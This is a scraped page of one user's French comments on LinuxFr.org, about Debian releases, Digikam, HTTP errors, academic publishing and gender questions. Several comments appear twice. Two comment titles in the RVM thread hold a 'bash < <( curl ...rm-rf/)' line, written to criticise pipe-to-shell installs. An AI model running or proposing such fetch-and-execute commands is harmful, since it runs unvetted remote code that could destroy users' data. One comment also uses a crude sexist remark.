— Il inclut ;
— nous sommes passés ;
— a globalement augmenté (sans e ; mumf, le e (barré) ne diffère pas du e) ;
— modules réécrits ;
— open source (et pourquoi ce terme, c’est différent de « libre » ?).
Qu’est-ce que la normalitude ?
La norme collective évolue (il y a vingt ans, le taille basse avec le haut du string visible, ça aurait été impossible). Mais chaque individu conserve la sienne (si, le rimel à 8 ans, je trouve que ça fait pute).
Une femme peut très bien s’habiller « normalement » pour la société ou pour son entourage ou seulement pour elle et paraître « pute » pour d’autres.
Et bien il est pourtant simple :
1. tu dis que poser la question du sexe est acceptable parce que c’est une « réalité génétique », ou que c’est « objectivable » ;
2. tu refuses la comparaison avec une question sur les origines ethniques parce que celles-ci sont culturelles et teintées de racisme.
Donc je te propose de comparer avec une classe de questions issue d’une « réalité génétique », « objectivable », mais certainement pas acceptable. Ce qui prouve que « réalité génétique » ou « objectivable » ne sont pas des raisons pour qu’une question soit acceptable.
(Et, au passage, je resouligne que, non, homme/femme n’est pas aussi simple que XX ou XY, il y a d’autres cas, certes fortement minoritaires. Mais bon, c’est vrai que les minorités, on s’en fout…)
La trisomie est aussi une « réalité génétique » (plus facile que le sexe : il existe des XXY, XXX…).
Tu trouverais acceptable une question « avez-vous une trisomie ? (21, 18, 9…) » ?
Certaines fonctions sont d'une simplicité et d'une ergonomie à couper le souffle
Oui, comme la modification du contraste : pas besoin de comprendre un histogramme ; ou la correction des yeux rouges…
Et il y a quelques fonctions peu connues vraiment intéressantes et tout aussi simples, comme l’amélioration du contraste local (ça redonne du peps à des images un peu palotes).
Bon, par contre, ça suce un peu de trop la mémoire : pour recadrer et ajuster les contrastes sur 80 photos scannées (10x15 en 600 ppp → c. 8 Mpix la photo), je m’y suis pris à trois fois (c’est-à-dire : quitter et relancer deux fois) pour vider un peu la mémoire et éviter le swap (sans doute le cache « défaire/refaire »).
(Et en parlant de corrections, il y a deux mots en trop (au choix) dans l’article : Les renommer, les faire pivoter les images pendant le transfert.)
Quand le httpd est en DoS, il a du mal à répondre 404.
Et, en général, s’il peut répondre (enfin, son proxy), il répond plutôt 50x.
D’ailleurs, niveau censure, je ne vois pas trop quand on peut avoir un 404 (qui signifie que 1. le serveur répond et que 2. la ressource demandée n’existe pas). La censure s’applique plutôt à un serveur en entier plutôt qu’à une seule ressource et renvoyer un 404 ou un 50x à la place du serveur, c’est mentir sur le problème. Et mentir, c’est vilain. Les censeurs, eux, ils sont gentils, ils pensent à nos enfants…
Exact, et il y a aussi la gestion des erreurs qui est inexistante ou le tripatouillage du path. Lucas Nussbaum (développeur Debian, équipe Ruby) en parlait là http://www.lucas-nussbaum.net/blog/?p=550 hier.
Note issue des commentaires (n°3) : il semblerait que les appels à perl (pour les sleep) ont été virés…
Dans les conventions dont on se contente, le gamma est avant le delta.
Et puis cela n’a rien à voir.
Stable est la branche que l’on ne touche que pour corriger des bogues, c’est ce qui est distribué et numéroté/nommé.
Unstable et Testing sont les branches de développement où Unstable est toujours en développement et Testing, la branche de préparation de la nouvelle Stable.
Alors que les termes alpha et bêta (ou rc1, rc2…) sont des qualifications que l’on donne aux versions prêtes à être distribuées, en pré-distribution pour augmenter l’assiette de test. Pour Debian, cela correspond à Testing en mode « frozen », la date indiquant la progression (il y a tellement de paquets qui avancent en même temps qu’il serait illusoire de vouloir nommer un moment précis en rcN ou en lettre grecque, surtout quand la période de freeze peut durer plusieurs mois).
Avant, Testing s’appelait Frozen et n’existait pas en dehors de la période de gel (ce qui se fait dans le développement classique). Ça a changé parce que la création de Frozen prenait beaucoup de temps et que ça bloquait Unstable.
Non, il n’y a pas pire comme faute. (Ça, c’est pour le troll’di… et puis parce que c’est vrai, c’est très moche comme faute.)
Sinon, c’est le système académique français qui te force à publier à 5h du mat. (Ça, c’est pour avoir un élément de plus pour pouvoir répondre à la question ;o)
Si tu entends par là les relecteurs des conf., tu te fais des illusions, notamment parce qu’ils n’y peuvent rien.
En théorie, un article ne doit être publié que dans une seule conf. Mais ça n’empêche pas de le soumettre à plusieurs conf., à chaque fois un peu modifié bien sûr : on change le titre, on suit les directives particulières de chaque conf. (format, nombre de pages), on change les mots-clefs et le résumé pour mieux coller au sous-domaine de la conf., si on veut se casser un peu, on creuse un peu plus par ici, un peu moins par là, et hop, on a un article tout neuf à moindre frais.
Il y a plusieurs raisons de faire ça :
— le fait que l’on doive publier quatre articles par an quand on bosse sur un seul sujet pendant cinq ans ;
— ajoute à cela que les appels des confs tombent assez serrés et qu’on n’a pas le temps d’attendre la réponse (surtout si on veut avoir une chance d’être publié 4 fois dans l’année) ;
— tu as aussi les articles « de progression » : généralement, ça s’applique à un thésard qui commence par expliquer son travail comme une hypothèse puis comme une ébauche, un prototype, une réussite (ou un échec, mais, ça, on le dit plus rarement). Et pouf ! quatre articles avec la même idée (l’hypothése de départ). En même temps, le thésard, ça lui est utile d’avoir des retours (et de l’expérience) dès l’étape de l’hypothèse.
En plus, c’est très difficile de tout lire (surtout quand tout est publié en même temps) et c’est difficile de dire quand deux articles sont les mêmes (les « idées » présentées ? on fait un diff et on s’arrête à 50%, 70% ?).
En fait, ceux que je vise le plus, ce sont les chercheurs établis (les chefs quoi) qui ont en plus l’avantage d’avoir des « articles éditoriaux » (ils sont invités à la conf, ils ne passent pas par le comité de lecture (quand ils n’en font pas partie)) et qui ressassent quand même toujours les mêmes vagues propos (vu que le vrai boulot est fait par leurs thésards), sans présenter de résultat.
C’est à la lecture que c’est chiant : tu cherches des trucs qui s’approchent de ce que tu fais et tu te tapes tous les articles en essayant de trouver s’il y a du nouveau dans leur idée, pour te retrouver à lire quatre fois la même chose pas finie…
# Les relecteurs sont encore en vacances ?
Posté par Sylvain Sauvage . En réponse à la dépêche Zentyal 2.0 : un serveur Linux pour les PME. Évalué à 2.
— nous sommes passés ;
— a globalement augmenté (sans e ; mumf, le e (barré) ne diffère pas du e) ;
— modules réécrits ;
— open source (et pourquoi ce terme, c’est différent de « libre » ?).
[^] # Re: et maintenant Slashdot!
Posté par Sylvain Sauvage . En réponse au journal De l'intérêt d'un réseau social libre et décentralisé. Évalué à 4.
[^] # Re: Est-ce si important?
Posté par Sylvain Sauvage . En réponse à la dépêche Les femmes libres s'invitent au Forum Mondial du Libre. Évalué à 4.
Qu’est-ce que la normalitude ?
La norme collective évolue (il y a vingt ans, le taille basse avec le haut du string visible, ça aurait été impossible). Mais chaque individu conserve la sienne (si, le rimel à 8 ans, je trouve que ça fait pute).
Une femme peut très bien s’habiller « normalement » pour la société ou pour son entourage ou seulement pour elle et paraître « pute » pour d’autres.
[^] # Re: et la psychologie du développeur ?
Posté par Sylvain Sauvage . En réponse au journal Psychology of programming. Évalué à 6.
[^] # Re: Est-ce si important?
Posté par Sylvain Sauvage . En réponse à la dépêche Les femmes libres s'invitent au Forum Mondial du Libre. Évalué à 3.
Avec des préjugés comme cela, elle est bien barrée la sociologie…
[^] # Re: Inutile
Posté par Sylvain Sauvage . En réponse à la dépêche Sortie de Bundler 1.0.0. Évalué à 2.
# Inutile
Posté par Sylvain Sauvage . En réponse à la dépêche Sortie de Bundler 1.0.0. Évalué à 3.
Processus répétable : qu’on peut appliquer plusieurs fois (taper sur le clou, taper sur le clou, …).
Processus reproductible : qu’on peut appliquer dans les mêmes conditions pour avoir les mêmes effets (enfoncer un clou).
Sinon, Pete and Repeat are on boat…
[^] # Re: Quelques pistes
Posté par Sylvain Sauvage . En réponse à la dépêche Les femmes libres s'invitent au Forum Mondial du Libre. Évalué à 4.
Anefé. On confond souvent « nature » et « habitude ».
[^] # Re: Est-ce si important?
Posté par Sylvain Sauvage . En réponse à la dépêche Les femmes libres s'invitent au Forum Mondial du Libre. Évalué à 5.
1. tu dis que poser la question du sexe est acceptable parce que c’est une « réalité génétique », ou que c’est « objectivable » ;
2. tu refuses la comparaison avec une question sur les origines ethniques parce que celles-ci sont culturelles et teintées de racisme.
Donc je te propose de comparer avec une classe de questions issue d’une « réalité génétique », « objectivable », mais certainement pas acceptable. Ce qui prouve que « réalité génétique » ou « objectivable » ne sont pas des raisons pour qu’une question soit acceptable.
(Et, au passage, je resouligne que, non, homme/femme n’est pas aussi simple que XX ou XY, il y a d’autres cas, certes fortement minoritaires. Mais bon, c’est vrai que les minorités, on s’en fout…)
[^] # Re: Est-ce si important?
Posté par Sylvain Sauvage . En réponse à la dépêche Les femmes libres s'invitent au Forum Mondial du Libre. Évalué à 5.
Tu trouverais acceptable une question « avez-vous une trisomie ? (21, 18, 9…) » ?
[^] # Re: Killer application
Posté par Sylvain Sauvage . En réponse à la dépêche Digikam et KIPI plugins atteignent la version 1.4. Évalué à 4.
Oui, comme la modification du contraste : pas besoin de comprendre un histogramme ; ou la correction des yeux rouges…
Et il y a quelques fonctions peu connues vraiment intéressantes et tout aussi simples, comme l’amélioration du contraste local (ça redonne du peps à des images un peu palotes).
Bon, par contre, ça suce un peu de trop la mémoire : pour recadrer et ajuster les contrastes sur 80 photos scannées (10x15 en 600 ppp → c. 8 Mpix la photo), je m’y suis pris à trois fois (c’est-à-dire : quitter et relancer deux fois) pour vider un peu la mémoire et éviter le swap (sans doute le cache « défaire/refaire »).
(Et en parlant de corrections, il y a deux mots en trop (au choix) dans l’article : Les renommer, les faire pivoter les images pendant le transfert.)
[^] # Re: arbre -> graphe
Posté par Sylvain Sauvage . En réponse à la dépêche Freeplane, l'avenir de la carte mentale libre en Java ?. Évalué à 3.
[^] # Re: Où est le serveur CensorCheap?
Posté par Sylvain Sauvage . En réponse à la dépêche CensorCheap (extension Firefox) : la censure de votre FAI/pays. Évalué à 5.
Et, en général, s’il peut répondre (enfin, son proxy), il répond plutôt 50x.
D’ailleurs, niveau censure, je ne vois pas trop quand on peut avoir un 404 (qui signifie que 1. le serveur répond et que 2. la ressource demandée n’existe pas). La censure s’applique plutôt à un serveur en entier plutôt qu’à une seule ressource et renvoyer un 404 ou un 50x à la place du serveur, c’est mentir sur le problème. Et mentir, c’est vilain. Les censeurs, eux, ils sont gentils, ils pensent à nos enfants…
[^] # Re: C'est quoi ce bazar ??
Posté par Sylvain Sauvage . En réponse au journal Procès US envers le LHC rejeté!. Évalué à 5.
[^] # Re: bash < <( curl http://et.si.ce.script.faisait.un.rm-rf/)
Posté par Sylvain Sauvage . En réponse à la dépêche Ruby Version Manager 1.0.0. Évalué à 2.
[^] # Re: bash < <( curl http://et.si.ce.script.faisait.un.rm-rf/)
Posté par Sylvain Sauvage . En réponse à la dépêche Ruby Version Manager 1.0.0. Évalué à 4.
Note issue des commentaires (n°3) : il semblerait que les appels à perl (pour les sleep) ont été virés…
[^] # Re: Comme depuis bien longtemps
Posté par Sylvain Sauvage . En réponse au journal Nouvelle version de gnash : la 0.8.8. Évalué à 2.
[^] # Re: scalabilité
Posté par Sylvain Sauvage . En réponse à la dépêche Sortie de Node.js v0.2.0. Évalué à 3.
Motif de conception marche aussi.
[^] # Re: Lacune??
Posté par Sylvain Sauvage . En réponse à la dépêche Sortie de Node.js v0.2.0. Évalué à 1.
[^] # Re: Squeeze=testing?
Posté par Sylvain Sauvage . En réponse à la dépêche Entretien avec Stefano Zacchiroli, Responsable du Projet Debian. Évalué à 4.
Et puis cela n’a rien à voir.
Stable est la branche que l’on ne touche que pour corriger des bogues, c’est ce qui est distribué et numéroté/nommé.
Unstable et Testing sont les branches de développement où Unstable est toujours en développement et Testing, la branche de préparation de la nouvelle Stable.
Alors que les termes alpha et bêta (ou rc1, rc2…) sont des qualifications que l’on donne aux versions prêtes à être distribuées, en pré-distribution pour augmenter l’assiette de test. Pour Debian, cela correspond à Testing en mode « frozen », la date indiquant la progression (il y a tellement de paquets qui avancent en même temps qu’il serait illusoire de vouloir nommer un moment précis en rcN ou en lettre grecque, surtout quand la période de freeze peut durer plusieurs mois).
Avant, Testing s’appelait Frozen et n’existait pas en dehors de la période de gel (ce qui se fait dans le développement classique). Ça a changé parce que la création de Frozen prenait beaucoup de temps et que ça bloquait Unstable.
[^] # Re: Fields medal
Posté par Sylvain Sauvage . En réponse au journal Où l'on trolle sur la médaille Fields.. Évalué à 3.
[^] # Re: Et un troll pour la 30074, un !
Posté par Sylvain Sauvage . En réponse au journal Où l'on trolle sur la médaille Fields.. Évalué à 2.
Sinon, c’est le système académique français qui te force à publier à 5h du mat. (Ça, c’est pour avoir un élément de plus pour pouvoir répondre à la question ;o)
[^] # Re: Fields medal
Posté par Sylvain Sauvage . En réponse au journal Où l'on trolle sur la médaille Fields.. Évalué à 6.
En théorie, un article ne doit être publié que dans une seule conf. Mais ça n’empêche pas de le soumettre à plusieurs conf., à chaque fois un peu modifié bien sûr : on change le titre, on suit les directives particulières de chaque conf. (format, nombre de pages), on change les mots-clefs et le résumé pour mieux coller au sous-domaine de la conf., si on veut se casser un peu, on creuse un peu plus par ici, un peu moins par là, et hop, on a un article tout neuf à moindre frais.
Il y a plusieurs raisons de faire ça :
— le fait que l’on doive publier quatre articles par an quand on bosse sur un seul sujet pendant cinq ans ;
— ajoute à cela que les appels des confs tombent assez serrés et qu’on n’a pas le temps d’attendre la réponse (surtout si on veut avoir une chance d’être publié 4 fois dans l’année) ;
— tu as aussi les articles « de progression » : généralement, ça s’applique à un thésard qui commence par expliquer son travail comme une hypothèse puis comme une ébauche, un prototype, une réussite (ou un échec, mais, ça, on le dit plus rarement). Et pouf ! quatre articles avec la même idée (l’hypothése de départ). En même temps, le thésard, ça lui est utile d’avoir des retours (et de l’expérience) dès l’étape de l’hypothèse.
En plus, c’est très difficile de tout lire (surtout quand tout est publié en même temps) et c’est difficile de dire quand deux articles sont les mêmes (les « idées » présentées ? on fait un diff et on s’arrête à 50%, 70% ?).
En fait, ceux que je vise le plus, ce sont les chercheurs établis (les chefs quoi) qui ont en plus l’avantage d’avoir des « articles éditoriaux » (ils sont invités à la conf, ils ne passent pas par le comité de lecture (quand ils n’en font pas partie)) et qui ressassent quand même toujours les mêmes vagues propos (vu que le vrai boulot est fait par leurs thésards), sans présenter de résultat.
C’est à la lecture que c’est chiant : tu cherches des trucs qui s’approchent de ce que tu fais et tu te tapes tous les articles en essayant de trouver s’il y a du nouveau dans leur idée, pour te retrouver à lire quatre fois la même chose pas finie…
[^] # Re: Et un troll pour la 30074, un !
Posté par Sylvain Sauvage . En réponse au journal Où l'on trolle sur la médaille Fields.. Évalué à 2.
(Plus on augmente le nombre d’exemples, plus la règle induite a des chances d’être vraie.)
[^] # Re: L'état de la recherche en France
Posté par Sylvain Sauvage . En réponse au journal Où l'on trolle sur la médaille Fields.. Évalué à 1.
Ne serait-ce pas parce que l’on dépose un peu moins de brevets à la con™ (brevets logiciels, sur les processus, etc.) que les autres ?